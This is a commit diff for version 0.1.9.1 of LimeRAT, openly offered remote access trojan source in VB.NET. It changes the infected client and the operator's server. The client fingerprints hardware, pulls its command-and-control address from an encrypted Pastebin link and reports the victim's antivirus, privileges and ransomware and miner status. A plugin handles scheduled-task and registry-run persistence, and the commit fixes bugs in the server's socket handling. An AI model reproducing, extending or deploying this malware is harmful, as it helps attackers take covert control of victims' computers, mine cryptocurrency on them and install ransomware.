Update v0.1.9.1

Bugs fixed.

Project/Client/C_Commands.vb

@@ -6,7 +6,7 @@
 
         Public Shared Sub Data(ByVal b As Byte())
             Try : C_TcpClient.Send("OK" + SPL + C_ID.HWID + SPL + C_ID.UserName) : Catch : End Try
-            Threading.Thread.Sleep(50)
+
             Dim EN As String = C_Encryption.AES_Decrypt(BS(b))
             Dim A As String() = Split(EN, SPL)
 

Project/Client/C_ID.vb

@@ -50,7 +50,6 @@
 
         Public Shared Function HWID() As String 'http://www.codeproject.com/Articles/28678/Generating-Unique-Key-Finger-Print-for-a-Computer
             Try
-                ' Return IO.Path.GetRandomFileName
                 Dim tohash As String = Identifier("Win32_Processor", "ProcessorId")
                 tohash += "-" & Identifier("Win32_BIOS", "SerialNumber")
                 tohash += "-" & Identifier("Win32_BaseBoard", "SerialNumber")

Project/Client/C_Main.vb

@@ -1,9 +1,5 @@
 '##################################################################
-<<<<<<< HEAD
 '##        N Y A N   C A T  |||   Updated on Nov./27/2018        ##
-=======
-'##        N Y A N   C A T  |||   Updated on Sept/25/2018        ##
->>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
 '##################################################################
 '##                                                              ##
 '##                                                              ##
@@ -60,7 +56,7 @@ Namespace Lime
                 Dim createdNew As Boolean = False
                 C_Settings.MTX = New Threading.Mutex(True, C_ID.HWID, createdNew)
                 If Not createdNew Then
-                    End
+                       End
                 End If
 
                 If C_Settings.ANTI Then

Project/Client/C_TcpClient.vb

@@ -1,4 +1,6 @@
-Namespace Lime
+Imports System.Collections.Generic
+
+Namespace Lime
 
     Public Class C_TcpClient
         Public Shared ENDOF As String = C_Settings.ENDOF
@@ -8,14 +10,9 @@
         Public Shared T1 As New Threading.Thread(AddressOf Connect)
         Public Shared isConnected As Boolean = False
         Public Shared MS As IO.MemoryStream = Nothing
-<<<<<<< HEAD
         Public Shared Tick As Threading.Timer = Nothing
         Public Shared x As Integer = 0
         Public Shared P As New List(Of Integer)
-=======
-        Public Shared Tick As System.Threading.Timer = Nothing
-        Public Shared KA As Integer = 0
->>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
 
         Public Shared Sub Connect()
 
@@ -92,31 +89,31 @@ re:
                 C_Settings.HOST = "127.0.0.1"
                 C_Settings.PORT = 8989
 #Else
+
                 Using WC As New Net.WebClient 'Pastebin, split by ":" IP:PORT
                     Try
                         Dim myCredentials As New Net.NetworkCredential("", "")
                         WC.Credentials = myCredentials
                         Dim Response As String = WC.DownloadString(C_Encryption.AES_Decrypt(C_Settings.Pastebin))
-                        C_Settings.HOST = Response.Split(":")(0)
-                        C_Settings.PORT = Response.Split(":")(1)
+                        ' Dim Response As String = WC.DownloadString((C_Settings.Pastebin))
+                        Dim SPL = Split(Response, ":")
+                        C_Settings.HOST = SPL(0)
+                        Dim r As New Random
+                        C_Settings.PORT = SPL(New Random().Next(1, SPL.Length))
                         WC.Dispose()
                     Catch ex As Exception
                     End Try
                 End Using
 
 #End If
+
                 C.Connect(C_Settings.HOST, C_Settings.PORT)
                 isConnected = True
                 MS = New IO.MemoryStream
 
-<<<<<<< HEAD
                 Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.9.1", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
                                   C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL,
                                   C_ID.USBSP, SPL, C_Settings.PORT, SPL, C_ID.dotNET, SPL, "...", SPL, " ", SPL,
-=======
-                Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.5B", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
-                                  C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, C_Settings.PORT, SPL, C_ID.dotNET, SPL, "...", SPL, " ", SPL,
->>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
                                   C_ID.Privileges.ToString, SPL, C_Settings.fullpath))
 
                 Dim T As New Threading.TimerCallback(AddressOf PING)
@@ -153,7 +150,6 @@ re:
         Public Shared KAP As Integer = 0
         Public Shared Sub PING()
             Try
-                Threading.Thread.Sleep(1)
                 If P_Start Then i += 1
 
                 If P_Stop Then

Project/Plugins/PCL/Main.vb

@@ -63,11 +63,8 @@
                 Try : Shell("schtasks /Delete /tn LimeRAT-Admin /F", AppWinStyle.Hide, False, -1) : Catch : End Try
                 Try : Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run\").DeleteValue(EXE) : Catch : End Try
         End If
-            Try
-                Microsoft.Win32.Registry.CurrentUser.DeleteSubKeyTree("Software\" & HWID)
-            Catch ex As Exception
-            End Try
 
+            Microsoft.Win32.Registry.CurrentUser.DeleteSubKeyTree("Software\" & HWID)
             CriticalProcesses_Disable()
             Threading.Thread.Sleep(50)
 

Project/Plugins/XMR/XMR.vbproj

@@ -96,10 +96,7 @@
     </None>
   </ItemGroup>
   <ItemGroup>
-    <None Include="Resources\xm.exe" />
-  </ItemGroup>
-  <ItemGroup>
-    <None Include="Resources\cpu.exe" />
+    <Folder Include="Resources\" />
   </ItemGroup>
   <Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
 </Project>

Project/Server/Classes/S_Client.vb

@@ -8,21 +8,26 @@ Public Class S_Client
     Public L As ListViewItem = Nothing
     Public C As Socket = Nothing
     Public IP As String = Nothing
-    Public Buffer(1024 * 500) As Byte
+    Public Buffer(1024 * 1000) As Byte
     Public MS As MemoryStream = Nothing
     Public Shared Event Read(ByVal C As S_Client, ByVal b() As Byte)
 
     Sub New(ByVal CL As Socket)
         Me.C = CL
-        Me.Buffer = New Byte(1024 * 500) {}
+        Me.Buffer = New Byte(1024 * 1000) {}
+        C.ReceiveBufferSize = 1024 * 1000
+        C.SendBufferSize = 1024 * 1000
         Me.MS = New MemoryStream
         Me.IP = CL.RemoteEndPoint.ToString
 
-        C.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, New AsyncCallback(AddressOf BeginReceive), C)
+        C.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, New AsyncCallback(AddressOf BeginReceive), Nothing)
     End Sub
 
     Async Sub BeginReceive(ByVal ar As IAsyncResult)
-        If IsConnected = False Then isDisconnected()
+        If IsConnected = False OrElse C.Connected = False Then
+            isDisconnected()
+            Exit Sub
+        End If
         Try
             Dim Received As Integer = C.EndReceive(ar)
             If Received > 0 Then
@@ -31,7 +36,7 @@ re:
                 If BS(MS.ToArray).Contains(S_Settings.EOF) Then
                     Dim A As Array = Await fx(MS.ToArray, S_Settings.EOF)
                     RaiseEvent Read(Me, A(0))
-
+                    ' Threading.ThreadPool.QueueUserWorkItem(New Threading.WaitCallback(AddressOf BeginRead), A(0))
                     MS.Dispose()
                     MS = New MemoryStream
 
@@ -43,13 +48,19 @@ re:
                 End If
             Else
                 isDisconnected()
+                Exit Sub
             End If
-            C.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, New AsyncCallback(AddressOf BeginReceive), C)
+            C.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, New AsyncCallback(AddressOf BeginReceive), Nothing)
         Catch ex As Exception
             isDisconnected()
+            Exit Sub
         End Try
     End Sub
 
+    'Sub BeginRead(ByVal A As Array)
+    '    S_Messages.Read(Me, A)
+    'End Sub
+
     Delegate Sub _isDisconnected()
     Sub isDisconnected()
 
@@ -61,9 +72,11 @@ re:
                 Exit Sub
             Else
                 '  L.Remove()
-                L.SubItems(S_Messages.M.PING.Index).Text = "Offline"
-                L.ForeColor = Color.Red
-                S_Messages.Messages("{" + IP + "}", "Disconnected")
+                If L IsNot Nothing Then
+                    L.SubItems(S_Messages.M.PING.Index).Text = "Offline"
+                    L.ForeColor = Color.Red
+                    S_Messages.Messages("{" + IP + "}", "Disconnected")
+                End If
             End If
         Catch ex As Exception
         End Try
@@ -75,24 +88,13 @@ re:
         End Try
 
         Try
-            MS.Close()
             MS.Dispose()
         Catch ex As Exception
         End Try
 
-        Try
-            Buffer = Nothing
-        Catch ex As Exception
-        End Try
-
-        Try
-            L = Nothing
-        Catch ex As Exception
-        End Try
-
     End Sub
 
-    Async Sub BeginSend(ByVal S As String) 
+    Async Sub BeginSend(ByVal S As String)
         If IsConnected Then
             Dim M As New MemoryStream
             Dim B As Byte() = SB(S_Encryption.AES_Encrypt(S))
@@ -101,7 +103,7 @@ re:
 
             Try
                 C.Poll(-1, SelectMode.SelectWrite)
-                C.BeginSend(M.ToArray, 0, M.Length, SocketFlags.None, New AsyncCallback(AddressOf EndSend), C)
+                C.BeginSend(M.ToArray, 0, M.Length, SocketFlags.None, New AsyncCallback(AddressOf EndSend), Nothing)
             Catch ex As Exception
                 isDisconnected()
             End Try
@@ -114,16 +116,16 @@ re:
         End If
     End Sub
 
-    'Sub Send(ByVal b As Byte())
-    '    If IsConnected Then
-    '        Threading.ThreadPool.QueueUserWorkItem(New Threading.WaitCallback(AddressOf _BeginSend), b)
-    '    End If
-    'End Sub
-
     Sub Send(ByVal b As Byte())
+        If IsConnected Then
+            Threading.ThreadPool.QueueUserWorkItem(New Threading.WaitCallback(AddressOf _BeginSend), b)
+        End If
+    End Sub
+
+    Sub _BeginSend(ByVal b As Byte())
         Try
             C.Poll(-1, SelectMode.SelectWrite)
-            C.BeginSend(b.ToArray, 0, b.Length, SocketFlags.None, New AsyncCallback(AddressOf EndSend), C)
+            C.BeginSend(b.ToArray, 0, b.Length, SocketFlags.None, New AsyncCallback(AddressOf EndSend), Nothing)
         Catch ex As Exception
             isDisconnected()
         End Try
@@ -132,6 +134,7 @@ re:
     Sub EndSend(ByVal ar As IAsyncResult)
         Try
             C.EndSend(ar)
+            L.BackColor = Nothing
         Catch ex As Exception
         End Try
     End Sub

Project/Server/Classes/S_Messages.vb

@@ -72,7 +72,6 @@
                         Exit Sub
                     End If
                     C.L.SubItems(M.PING.Index).Text = A(1).ToString
-                    'M.L1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
                     Exit Select
 
 
@@ -83,7 +82,7 @@
                     End If
                     C.L.SubItems(M.RANS.Index).Text = A(1).ToString
                     M.L1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
-                    Exit Select
+                        Exit Select
 
                 Case "!SP"
                     If M.InvokeRequired Then
@@ -120,7 +119,7 @@
 
 #Region "Remote Desktop"
 
-                Case "!" ' i recive size of client screen
+                        Case "!" ' i recive size of client screen
                     ' lets start Cap form and start capture desktop
                     If M.InvokeRequired Then
                         M.Invoke(New _Read(AddressOf Read), C, b)

Project/Server/Classes/S_Settings.vb

@@ -3,11 +3,7 @@
     Public Shared PORT As New List(Of Integer)
     Public Shared EncryptionKey As String = Nothing
     Public Shared IP As String = Nothing
-<<<<<<< HEAD
     Public Shared StubVer As String = "v0.1.9.1"
-=======
-    Public Shared StubVer As String = "v0.1.8.5B"
->>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
     Public Shared SPL As String = "|'L'|"
     Public Shared EOF As String = "|'N'|"
 

Project/Server/Classes/S_TcpListener.vb

@@ -3,22 +3,19 @@ Imports System.Net.Sockets
 
 Public Class S_TcpListener
     Public S As TcpListener
-    Public allDone As New Threading.ManualResetEvent(False)
 
     Async Sub Start(ByVal Port As Integer)
         S = New TcpListener(IPAddress.Any, Port)
-        S.Server.ReceiveBufferSize = 1024 * 500
-        S.Server.SendBufferSize = 1024 * 500
+        S.Server.ReceiveBufferSize = 1024 * 1000
+        S.Server.SendBufferSize = 1024 * 1000
         S.Server.ReceiveTimeout = -1
         S.Server.ReceiveTimeout = -1
         S.Start()
 
         While True
-            Threading.Thread.Sleep(1)
+            Await Threading.Tasks.Task.Delay(1)
             If S.Pending Then
-                allDone.Reset()
-                S.BeginAcceptSocket(New AsyncCallback(AddressOf EndAccept), S)
-                allDone.WaitOne()
+                S.BeginAcceptSocket(New AsyncCallback(AddressOf EndAccept), Nothing)
             End If
         End While
 
@@ -29,7 +26,6 @@ Public Class S_TcpListener
             Dim C As New S_Client(S.EndAcceptSocket(ar))
         Catch ex As Exception
         End Try
-        allDone.Set()
     End Sub